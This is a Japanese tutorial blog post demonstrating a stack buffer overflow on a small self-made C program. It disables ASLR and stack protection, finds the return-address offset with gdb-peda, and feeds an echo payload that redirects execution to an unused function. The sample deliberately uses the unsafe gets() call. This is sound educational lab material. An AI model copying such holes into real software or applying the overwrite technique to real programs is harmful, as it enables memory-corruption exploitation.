###バッファオーバーフローを起こして任意の関数を実行する。
C言語上のプログラムでバッファオーバフローを起こしリターンアドレスの書き換えを行います。main関数から他の関数を呼び出す方法をまとめた記事が少なかったのでメモ程度に残します。
実行環境
CentOS 6.10
GNOME 2.26.2
gdb-pedaを用いるのでそこのインストールは済ませたものとします。
もしインストールしてない方はこちらからお願いします
gdbpeda超入門
####まずバッファオーバしたいプログラムを用意します。
#include <stdio.h>
#include <stdlib.h>
int main(void){
char first[] = "!!Hello World!!";
char buf[16];
puts(">>");
gets(buf);
puts(first);
puts("that \'s All Fork!");
return EXIT_SUCCESS;
}
int sub(){
puts("Something wrong");
}
##コンパイル
まずASLRをoffにする
sudo sysctl -w kernel.randomize_va_space=0
#####コンパイル
PIE、スタックプロテクターは無効化してコンパイル
gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC
#リターンアドレスまでのオフセットを求める
まずはgdb起動
$ gdb HelooWorld
ランダム文字列を作成
$ (gdb) pattern_create 50
実行
$ (gdb) r
####さっきのランダム文字列を入力する。
するとこのようにバッファオーバフローを起こし停止する
ここでRSPのアドレスの文字列をメモ
####オフセットの文字列の捜索
$ (gdb)patto "ここにRSPの文字列"
これでアドレスのオフセットが求まる。
今回は40であることがわかった。
###次に実行したいアドレスを調べる。
アドレスの位置を調べる前に、再度gdbでバッファオーバフローの様子を確認する。
実行
$ (gdb) r
2.適当な文字列を入れてバッファオーバフロー
そのあとdisassコマンドに実行したい関数の名前を入力する。ここではsubです。
$ (gdb) disass sub
ここで一番上のアドレスをメモ。
###アドレスを先ほど求めたオフセットの値だけずらして入力する。
16進数で入力することに注意。
echo コマンドを使えば便利。
今回の場合は以下となります。
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld
####結果
こんな感じでsub()関数が呼び出されていることがわかります!
#感想
こんな感じで簡単ですが動作の例を書いてみました。
環境によってはなかなかうまくいかないこともあったので試行錯誤が重要だと思いました。その際にこの記事が少しでも役に立てば幸いです